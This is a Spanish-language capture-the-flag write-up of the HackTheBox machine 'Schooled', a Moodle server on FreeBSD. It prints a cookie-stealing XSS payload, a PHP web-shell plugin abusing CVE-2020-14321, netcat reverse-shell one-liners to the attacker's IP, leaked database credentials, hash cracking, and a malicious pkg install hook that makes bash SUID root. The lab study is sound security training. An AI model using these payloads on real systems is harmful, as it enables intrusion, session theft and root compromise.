HackTheBox - Schooled
Creado
Máquina FreeBSD nivel medio, linda locura, nos moveremos mucho por Moodle robando cookies, cambiando roles a los cuales no deberíamos cambiar e instalando plugins maliciosos. Crackearemos hashes y finalmente aprovecharemos los permisos que tenemos en el sistema con pkg install para instalar paquetes algo peligrosos.
TL;DR (Spanish writeup)
Creada por: TheCyberGeek.
Jugaremos con fuzzing de subdominios para encontrar un servicio moodle
el cual esta infestado de problemas :P
Nos aprovecharemos de un profesor que esta validando si tenemos una característica en nuestro perfil de estudiante para robarle su cookie de sesión y convertirnos en él. Estando dentro del Moodle como profesores, tendremos algunos CVEs
que justamente explotan acciones como ellos.
Tendremos uno en el que podremos aprovechar una mala configuración, modificaremos el rol de nuestro usuario para permitirle a otro usuario convertirse en manager de un curso, con esto lograremos que el usuario con rol de manager por default (Lianne) instale plugins mediante un archivo .zip
malicioso. Finalmente lograremos RCE como el usuario www
.
Adentro encontraremos archivos de configuración, entre ellos la conf de la base de datos, nos apoyaremos de myslqshow
y mysqldump
para ver el contenido de una tabla con usuarios, uno de ellos conocido en el sistema. Tendremos contraseñas cifradas, apoyándonos de John The Ripper
lograremos crackerlas y hacer uso de una de ellas para obtener una Shell como el usuario jamie
en el sistema.
Enumerando los permisos que tenemos con jamie, veremos que puede actualizar e instalar paquetes en el sistema usando pkg install
. Aprovecharemos esto para que mientras se esta instalando un paquete, nosotros podamos inyectar comandos en ese mismo paquete. Así estaríamos ejecutando las instrucciones como el usuario root
. Obtendremos una Shell como él modificando el binario /bin/bash
dándole permisos SUID
.
…
Clasificación de la máquina según la gentesita
Bastante bastante real, vulns conocidas y bastante investigación.
Escribo para tener mis “notas”, por si algun día se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.
…
Camino de verdades y verdaderas mentiras.
- Reconocimiento.
- Enumeración.
- Explotación.
- Movimiento Lateral MySQL: www -> jamie.
- Escalada de privilegios.
…
Reconocimiento #
…
Vemos que puertos están abiertos con nmap 📌
Empezamos haciendo un escaneo de puertos, así sabemos que servicios esta corriendo la máquina:
❭ nmap -p- --open -v 10.10.10.234 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
❭ cat initScan
# Nmap 7.80 scan initiated Sun Apr 11 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.234
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.234 () Status: Up
Host: 10.10.10.234 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 33060/open/tcp//mysqlx///
# Nmap done at Sun Apr 11 25:25:25 2021 -- 1 IP address (1 host up) scanned in 216.96 seconds
Perfecto, nos encontramos los servicios:
Puerto | Descripción |
---|---|
22 | SSH: Contamos con la posibilidad de obtener una Shell de manera segura. |
80 | HTTP: Tenemos una página web. |
33060 | MySQLx. |
Ahora hagamos un escaneo de scripts y versiones para tener info más especifica de cada puerto:
❭ nmap -p 22,80,33060 -sC -sV 10.10.10.234 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
❭ cat portScan
# Nmap 7.80 scan initiated Sun Apr 11 25:25:25 2021 as: nmap -p 22,80,33060 -sC -sV -oN portScan 10.10.10.234
Nmap scan report for 10.10.10.234
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=4/11%Time=60731B26%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"...");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 11 25:25:25 2021 -- 1 IP address (1 host up) scanned in 78.15 seconds
Obtenemos (varias cositas que veremos después) por ahora:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 7.9 (FreeBSD 2020/02/14) |
80 | HTTP | Apache httpd 2.4.46 (FreeBSD) |
33060 | MySQLx | - |
Ahora exploremos cada servicio a ver por donde podemos vulnerar el sistema.
…
Enumeración #
…
Dando vueltas con el puerto 80 📌
Nos encontramos una página web de una institución para estudiar online, dándole una vuelta nos encontramos un email y también alusión al dominio schooled.htb
:
Listo, guardemos el email por si algo y agreguemos ese dominio al archivo /etc/hosts
para que cuando hagamos peticiones hacia el dominio schooled.htb nos resuelva hacia la IP 10.10.10.234, que quizás tenga info diferente…
❭ cat /etc/hosts
...
10.10.10.234 schooled.htb
...
Y validando de nuevo en la web, pero en vez de escribir la IP ahora escribimos el dominio y obtenemos aparentemente el mismo resultado que antes.
Enumerando nos encontramos el apartado /teachers.html
el cual tiene algunos nombres y roles que podemos guardar por si llegamos a encontrar algún portal o algo que podamos relacionar:
Jane Higgins -> Scientific.
Lianne Carter -> Manager & Profesora.
Manuel Phillips -> Profesor.
Jamie Borham -> Profesora.
Siguiendo, en el apartado /contact.html
encontramos unos campos a llenar y al enviarlos nos redirecciona a un archivo llamado contact.php
, pero obtenemos un error con estado 404 Not Found…
Encontramos el servicio Moodle 📌
Acá no encontramos nada más en la web, jugando con el código fuente o con las carpetas que hay no vemos nada, así que procedamos a fuzzear un poco…
Haciendo un fuzzing de archivos y directorio no encontramos nada, pero si fuzzeamos a ver si existe otro dominio relacionado con schooled.htb
el cual responda a la IP 10.10.10.234 tenemos:
❭ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.10.234 -H 'Host: FUZZ.schooled.htb'
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 200 461 L 1555 W 20750 Ch "pop3"
000000001: 200 461 L 1555 W 20750 Ch "www"
000000003: 200 461 L 1555 W 20750 Ch "ftp"
000000007: 200 461 L 1555 W 20750 Ch "webdisk"
000000015: 200 461 L 1555 W 20750 Ch "ns"
000000023: 200 461 L 1555 W 20750 Ch "forum"
...
Tenemos muchos, pero probablemente sean falsos positivos, así que filtremos para que nos quite todos los que tengan como numero total de letras 1555:
❭ wfuzz -c --hc=404 --hw=1555 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.10.234 -H 'Host: FUZZ.schooled.htb'
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000162: 200 1 L 5 W 84 Ch "moodle"
Perfecto, aparentemente tenemos un nuevo dominio a probar, pues agreguémoslo junto a schooled.htb al archivo /etc/hosts
:
❭ cat /etc/hosts
...
10.10.10.234 schooled.htb moodle.schooled.htb
...
Y validando en la web nos encontramos con:
Nice, tenemos un servicio moodle
, que según Wikipedia es:
🎓 Herramienta de gestión de aprendizaje (LMS), o más concretamente de Learning Content Management (LCMS), de distribución libre, escrita en PHP.
Si intentamos ver cualquier recurso nos pide un ingreso por medio de credenciales… (Probar contraseñas por default y con los profesores encontrados no nos dio resultado).
Pero también podemos ingresar como invitado o crearnos una cuenta, probando inicialmente el acceso como invitado contra cualquier curso nos pide que debemos tener una cuenta:
Dando vueltas por el sitio como invitado vemos varias URL’s posiblemente llamativas:
-
http://moodle.schooled.htb/moodle/enrol/index.php?id=5
El ID va del 5 al 2, el número 1 nos redirecciona a la página principal donde están todos los cursos.
-
http://moodle.schooled.htb/moodle/calendar/view.php?view=month
Tiene la opción de variar entre día, mes y año, pero solo mes (month) funciona.
-
http://moodle.schooled.htb/moodle/calendar/view.php?view=month&time=1614556800
Podemos ver el calendario de varios meses, ya que time depende del mes que escojamos.
Entonces, con esto en mente podríamos probar inyección SQL (no va por acá) de varias maneras, validando rápidamente que no existan más IDs (cursos) tenemos:
❭ for id in $(seq 0 20); do echo -n "ID: $id -> Status Code: "; curl -s -I --cookie "MoodleSession=2a9js25d3usf0dv3u5r27c21nn" http://moodle.schooled.htb/moodle/enrol/index.php?id=$id | grep "HTTP/1.1" | awk '{print $2}'; done
ID: 0 -> Status Code: 404
ID: 1 -> Status Code: 303
ID: 2 -> Status Code: 200
ID: 3 -> Status Code: 200
ID: 4 -> Status Code: 200
ID: 5 -> Status Code: 200
ID: 6 -> Status Code: 404
ID: 7 -> Status Code: 404
ID: 8 -> Status Code: 404
ID: 9 -> Status Code: 404
ID: 10 -> Status Code: 404
ID: 11 -> Status Code: 404
ID: 12 -> Status Code: 404
ID: 13 -> Status Code: 404
ID: 14 -> Status Code: 404
ID: 15 -> Status Code: 404
ID: 16 -> Status Code: 404
ID: 17 -> Status Code: 404
ID: 18 -> Status Code: 404
ID: 19 -> Status Code: 404
ID: 20 -> Status Code: 404
Ahora probando a registrarnos encontramos un nuevo dominio:
student.schooled.htb
.
Pero agregándolo al archivo /etc/hosts
y validando su contenido nos damos cuenta de que responde con el mismo de schooled.htb
. Así que cambiamos nuestro email con ese dominio y nos permite registrarnos:
Vemos algo interesante a la izquierda, Private files, echándole un ojo nos permite subir archivos, podemos hacerlo mediante un URL:
Probando a que el servicio lea un archivo que esté alojado en nuestra máquina (servidor) obtenemos respuesta, pero después de varios intentos no logramos nada relevante. Dando vueltas encontramos que podemos modificar nuestra imagen de perfil. Intentamos lo mismo que antes e incluso subir una imagen con metadatos PHP
o cambiándole los magic bytes a un script para que el sistema crea que es un JPEG
, pero nada, no obtenemos respuesta.
Entrando en Site home nos damos cuenta de algo interesante, el curso Mathematics es el único al cual podemos “anotarnos” como estudiantes:
Después de anotarnos (enrolarnos) nos redirige a:
http://moodle.schooled.htb/moodle/course/view.php?id=5
Si nos movemos a Annoucements tenemos 2 mensajes:
Fijándonos en el primero tenemos información interesante:
…
Explotación #
…
Jugamos con la interacción del profesor para robarle su cookie 📌
👨🏫 Students who do not set their MoodleNet profiles will be removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.
Nos indica que el usuario Manuel Phillips (profesor) estará revisando que todos los estudiantes que se unan a su curso tengan habilitado o modificado en su perfil (estudiante) algo llamado MoodleNet (que es una red social para educadores según la web oficial) :O
Opa, esto esta interesante, ya que dependiendo el campo el cual debamos modificar podríamos pensar en robarle la cookie
al profesor, ya que estaría verificando nuestro perfil (siempre y cuando estemos enrolados en su curso), por lo tanto esta entrando en el campo (de nuestro perfil) y validaría su contenido.
Veamos, vamos a nuestro perfil arriba a la derecha, damos clic en edit profile y vemos:
Es un campo de texto, pues vayamos a la fija e intentemos que lea algo de nuestro servidor a ver si realmente el profesor esta validando el input:
Levantamos servidor web:
❭ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Y en el campo MoodleNet escribimos:
<script src="http://10.10.14.11:8000/serompe.oque"></script>
Guardamos los cambios… Y si revisamos nuestro servidor:
❭ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.234 - - [12/Apr/2021 25:25:25] code 404, message File not found
10.10.10.234 - - [12/Apr/2021 25:25:25] "GET /serompe.oque HTTP/1.1" 404 -
Entonces, esta perfecto, sabemos que el profesor esta validando ese campo, ahora podemos proceder a robarle su cookie, para esto simplemente indicamos en el campo MoodleNet
:
<script>document.write('<img src="http://10.10.14.11:8000/serompe.oque?cookie=' + document.cookie + '">')</script>
Esto va a intentar subir una imagen (como antes), solo que como la imagen “esta” en nuestro servidor, intentara cargarla, peeeero además le concatenamos una variable llamada cookie
que guardara la sesión del usuario que ingrese al campo (con document.cookie
), o sea, obtendríamos la cookie del profesor que esta validando el campo.
Guardamos yyyyyyyyyy en nuestro servidor obtenemos:
❭ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.234 - - [12/Apr/2021 25:25:25] code 404, message File not found
10.10.10.234 - - [12/Apr/2021 25:25:25] "GET /serompe.oque?cookie=MoodleSession=boejsdgppi3r50rahsn0tcnqji HTTP/1.1" 404 -
PERFECTOOOOOOOOOOOO, tenemos la petición con una cookie, pues probemos a cambiar la nuestra por esa:
VAMONOOOOOOOOOOOOOOOOOOS, somos el usuario Manuel Phillips
.
En su perfil vemos un correo y un dominio, podemos guardarlos por si algo. Además sabemos la estructura de como están (suponemos) guardados los usuarios (o profesores) del servidor: apellido_nombre@dominio
.
Divagando y explotando la versión de Moodle 📌
Viendo que podemos hacer ahora como profesor, leyendo cositas y probando otras, finalmente en la web encontramos un PoC haciendo alusión al CVE CVE-2020-14321 que se ve interesante:
La vulnerabilidad se basa en que un profesor puede asignarse a sí mismo o a otros el rol de manager dentro de un curso, lo que le daría poder de manipular el curso como **administrador** 😮
Entonces, si indagamos un poco encontramos el PoC oficial de la persona que encontró la vulnerabilidad:
- Kien Hoang - https://github.com/HoangKien1020/CVE-2020-14321.
Ya tenemos todo lo que necesitamos, así que sigamos los mismos pasos que el video:
1. Nos logeamos como profesor, pero como tenemos la cookie de uno, tamos bien.
2. Vamos al curso del cual somos profesor, en nuestro caso mathematics (Maths), damos clic en Participants y después en Enrol users.
Estando en esa ventana seleccionamos al usuario Lianne Carter
para enrolarla al curso (ya jugaremos con burp), pero, ¿por qué ella? Bueno si recordamos cuando encontramos los profesores en la web, estaba Lianne Carter como manager del sitio, así que nos aprovecharemos para cambiar unos valores y enrolarla, pero como administradora del curso (si no, se enrolaría como estudiante :P).
Interceptamos mediante BurpSuite la petición y damos clic en Enrol users, obtenemos:
Dos campos importantes:
userlist[]=
(ID del usuario).roletoassign=
(Rol a asignar, 1 es manager según esta documentación).
Así que en vez de 5
colocamos 1
y enviamos la petición.
Pero validando en la web no vemos que Lianne sea manager aún:
Lianne Carter - carter_lianne@staff.schooled.htb - Student
Si modificamos al usuario Manuel (ID 24) (con el que estamos) para que también tenga el rol de manager obtenemos en la web:
Lianne Carter - carter_lianne@staff.schooled.htb - Manager, Student
...
Manuel Phillips - phillips_manuel@staff.schooled.htb - Manager, Teacher
Listos, ahora si podemos seguir con el PoC…
3. Obtenemos una sesión en Moodle como Lianne (manager) en el curso.
Damos clic en el nombre de Lianne y estando en su perfil vamos a Log in as
:
Y ahora somos Lianne y tenemos acceso a un nuevo apartado, Site administration
:
4. Vamos a instalar un plugin malicioso.
Entramos al sitio administrativo y seleccionamos Plugins
:
Ahora damos clic en Install plugins
:
Nos pide un archivo zip
para instalar el plugin. Volviendo al repo vemos que nos provee con un comprimido llamado rce.zip
:
Lo descargamos y validando su contenido tenemos:
❭ tree rce
rce
├── lang
│ └── en
│ └── block_rce.php
└── version.php
🔦 block_rce.php
es el archivo que nos permite ejecutar comandos en el sistema, todo mediante la variable cmd
que recibe en la petición GET
:
❭ cat rce/lang/en/block_rce.php
<?php system($_GET['cmd']); ?>
🔦 version.php
permite la generación del plugin y llama a nuestro archivo malicioso:
❭ cat rce/version.php
<?php
$plugin->version = 2020061700;
$plugin->component = 'block_rce';
Listos, para subir el archivo zip
, seleccionamos el objeto y damos clic en Install plugin from the ZIP file, recibimos:
Damos clic en Continue y según las indicaciones del PoC simplemente debemos dirigirnos a la siguiente ruta:
<domain>/blocks/rce/lang/en/block_rce.php
Y concatenarle el comando que queramos ejecutar con la variable cmd
, modificándola quedaría así para ejecutar el comando id
:
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id
PERFECTOOOOOOOOOOOOOOOOOOOOOOo tenemos ejecución remota de comandossadflakjwlekfjlkasd (: Intentemos conseguir una reverse Shell…
Nos ponemos en escucha con netcat: nc -lvp 4433
.
Probando estas dos sentencias lo logramos:
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 10.10.14.11 4433 > /tmp/f
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |nc 10.10.14.11 4433 > /tmp/f
Y Listones, ya estariamos dentro. Intentando hacer tratamiento de la TTY
o al menos tener una Shell más bonita, tenemos problemas y no lo logramos :( Así que enumeremos a ver como podemos movernos a algo lindo.
…
Como vimos, el proceso es muuuuy largo y tedioso de hacer manual, por lo tanto me cree dos scripts, uno enfocado 100% en la máquina, con él nos agrega la línea en el perfil de Moodle y también toooooooooooodo el tema del RCE.
El otro explota directamente el CVE, por lo que funciona contra cualquier Moodle 3.9
con el que tengas credenciales de un profesor (o una cookie :P)
…
MySQL: www -> jamie #
Enumerando los usuarios del sistema tenemos:
ls -la /home
lrwxr-xr-x 1 root wheel 8 Feb 26 22:45 /home -> usr/home
ls -la /usr/home
total 26
drwxr-xr-x 4 root wheel 4 Mar 16 06:33 .
drwxr-xr-x 16 root wheel 16 Feb 26 22:46 ..
drwx------ 2 jamie jamie 11 Feb 28 18:13 jamie
drwx------ 5 steve steve 14 Mar 17 14:05 steve
- jamie y steve.
Leyendo archivos de la ruta donde salimos encontramos la configuración de la base de datos:
pwd
/usr/local/www/apache24/data/moodle
cat config.php
<?php // Moodle configuration file
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8_unicode_ci',
);
$CFG->wwwroot = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot = '/usr/local/www/apache24/moodledata';
$CFG->admin = 'admin';
$CFG->directorypermissions = 0777;
require_once(__DIR__ . '/lib/setup.php');
// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!
- moodle -> PlaybookMaster2020
Buscando la manera de jugar con MySQL
con esta terminal encontramos las lindas herramientas:
find / -name mysqlshow
/usr/local/bin/mysqlshow
Usémosla para intentar ver el contenido de la base de datos:
/usr/local/bin/mysqlshow -u moodle -pPlaybookMaster2020
+--------------------+
| Databases |
+--------------------+
| information_schema |
| moodle |
+--------------------+
Tenemos la base de datos moodle
(aunque ya lo sabíamos del archivo config.php
), veamos sus tablas:
/usr/local/bin/mysqlshow -u moodle -pPlaybookMaster2020 moodle
Database: moodle
+----------------------------------+
| Tables |
+----------------------------------+
| mdl_analytics_indicator_calc |
| mdl_analytics_models |
...
| mdl_user |
...
Ahora que tenemos una tabla llamativa podemos usar mysqldump
para “dumpear” (realmente hace como si quisiéramos realizar un backup, por eso dumpea) la info de lo que le pidamos, en este caso de la tabla mdl_user
:
/usr/local/bin/mysqldump -u moodle -pPlaybookMaster2020 moodle mdl_user
Vemos muuuucha información, pero toda es relacionada con usuarios, si ajustamos la visión vemos un usuario llamado jamie
y que esta relacionado con el staff, por lo que puede ser el mismo jamie del sistema, podemos tomar su hash e intentar crackearlo.
❭ cat jamie_hash
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
Usaremos John The Ripper
:
❭ john --wordlist=/usr/share/wordlists/rockyou.txt jamie_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (?)
1g 0:00:06:00 DONE (2021-04-12 25:25) 0.002771g/s 38.50p/s 38.50c/s 38.50C/s 010188..!QAZ2wsx
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Al parecer el resultado es !QAZ2wsx
, probemos mediante SSH con el usuario jamie:
❭ ssh jamie@10.10.10.234
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021
Welcome to FreeBSD!
...
jamie@Schooled:~ $ id
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
jamie@Schooled:~ $
Perfectísimo, tamos dentro de la máquina con una linda Shell :)
…
Escalada de privilegios #
Viendo los permisos que tiene jamie
en el sistema, tenemos:
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
Opa, interesante, dos permisos, uno para actualizar paquetes (supongo) y otro para instalar paquetes de la ruta donde estemos. Y ambos los podemos ejecutar como cualquier usuario del sistema.
📦 pkg provides an interface for manipulating packages: registering, adding, removing and upgrading packages.
Dando vueltas para ver como podríamos explotar esto, encontramos un post donde nos muestra un script que genera un paquete para posteriormente ser instalado:
El post toma el script por partes, pero la parte que nos interesa en la inicial, ya que es donde podemos modificar el código que queremos que se ejecute mientras el paquete se esta instalando:
#!/bin/sh
STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF
# careful here, this may clobber your system
echo "Resetting root shell"
pw usermod -n root -s /bin/csh
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "Registering root shell"
pw usermod -n root -s /bin/sh
EOF
Donde relativamente parece que resetea la Shell asignada al usuario root, peroooo, podríamos cambiar esos comandos por los nuestros, algo así:
#!/bin/sh
STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_DEINSTALL <<EOF
# careful here, this may clobber your system
echo "1 root shell"
whoami | nc 10.10.14.11 4434
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "2 root shell"
id | nc 10.10.14.11 4434
EOF
Intentamos que nos envíe el output de whoami
y de id
a nuestro listener y ver que obtenemos.
Esta parte es genérica y estructural, entiendo que es necesaria para la creación del paquete, pero no necesitamos modificar nada:
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
echo "deps: {" >> ${STAGEDIR}/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" portlint >> ${STAGEDIR}/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" poudriere >> ${STAGEDIR}/+MANIFEST
echo "}" >> ${STAGEDIR}/+MANIFEST
mkdir -p ${STAGEDIR}/usr/local/etc
echo "# hello world" > ${STAGEDIR}/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .
Ahora ya podemos ejecutar el script y validar si se nos genera el paquete:
jamie@Schooled:/tmp/aver $ ./aja.sh
jamie@Schooled:/tmp/aver $ ls
aja.sh mypackage-1.0_5.txz
Listo, se genera correctamente (: Instalémoslo:
jamie@Schooled:/tmp/aver $ sudo /usr/sbin/pkg install *.txz
Updating FreeBSD repository catalogue...
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
Pero acá se queda pensando y no hace nada, así que buscando encontramos que probablemente el tema sea que intenta actualizar el catálogo de repositorios (como dice ahí) y por eso se queda pegado. Pero en este manual tenemos el parámetro --no-repo-update
el cual se encarga precisamente de suprimir la actualización automática que intenta hacer:
Si volvemos a intentar pero ahora con el nuevo argumento:
jamie@Schooled:/tmp/aver $ sudo /usr/sbin/pkg install --no-repo-update *.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
mypackage: 1.0_5
Number of packages to be installed: 1
Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...
Extracting mypackage-1.0_5: 100%
2 root shell
jamie@Schooled:/tmp/aver $
Perfecto, se ejecuta, en nuestro listener recibimos:
❭ nc -lvp 4434
listening on [any] 4434 ...
connect to [10.10.14.11] from schooled.htb [10.10.10.234] 39175
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Oko, tenemos ejecución de comandos, pero recibimos el id, por lo tanto el primer apartado parece que no se está ejecutando, agreguemos nuestra reverse Shell en la parte de +POST_INSTALL (segundo apartado):
...
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "2 root shell"
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i | nc 10.10.14.11 4434 > /tmp/f
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
...
Pero al ejecutar la instalación del paquete obtenemos o errores o simplemente nada.
Así que podemos probar a modificar la /bin/bash
a SUID:
⛹️ SUID? … it’s a way in UNIX-like operating systems of running a command as another user without providing credentials. pentestpartners - exploiting-suid-executables.
jamie@Schooled:/tmp/aver $ ls -la /bin/bash
lrwxr-xr-x 1 root wheel 19 Apr 1 17:02 /bin/bash -> /usr/local/bin/bash
Vemos que /bin/bash
tiene un link hacia /usr/local/bin/bash
, o sea que cuando ejecutemos /bin/bash
, esteremos ejecutando realmente /usr/local/bin/bash
.
jamie@Schooled:/tmp/aver $ ls -la /usr/local/bin/bash
-rwxr-xr-x 1 root wheel 941288 Feb 20 01:47 /usr/local/bin/bash
Entonces modificamos los permisos agregándole el SUID (4
) al binario /bin/bash
, que realmente se los estaría otorgando al binario /usr/local/bin/bash
:)
...
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "2 root shell"
chmod 4755 /bin/bash
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
...
Generamos paquete e instalamos:
jamie@Schooled:/tmp/aver $ ./aja.sh
jamie@Schooled:/tmp/aver $ sudo /usr/sbin/pkg install --no-repo-update *.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
mypackage: 1.0_5
Number of packages to be installed: 1
Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...
Extracting mypackage-1.0_5: 100%
2 root shell
jamie@Schooled:/tmp/aver $
Ahora validamos los permisos de los binarios:
jamie@Schooled:/tmp/aver $ ls -la /bin/bash
lrwxr-xr-x 1 root wheel 19 Apr 1 17:02 /bin/bash -> /usr/local/bin/bash
jamie@Schooled:/tmp/aver $ ls -la /usr/local/bin/bash
-rwsr-xr-x 1 root wheel 941288 Feb 20 01:47 /usr/local/bin/bash
Perfecto, vemos el nuevo permiso asignado con una s
en la ejecución.
Ahora simplemente indicamos /usr/local/bin/bash -p
para que ejecute el programa con los permisos SUID que tenga asignados el objeto. Como el dueño del binario es root
, tomara el SUID de ese usuario, por lo tanto tendremos una Shell como él.
jamie@Schooled:/tmp/aver $ /usr/local/bin/bash -p
[jamie@Schooled /tmp/aver]# whoami
root
Y si (: tenemos una sesión como root, solo nos quedaría ver las flags:
…
Linda máquina eh! Linda linda, me gusto mucho como le robamos la cookie al profesor y como nos aprovechamos del rol manager para conseguir RCE, muy lindo todo.
(Además que me permitió explorar a profundidad la creación de un exploit bastante retador)
Y bueno, como siempre y como nunca, muchísimas gracias y a seguir rompiendo todo ;)
Comments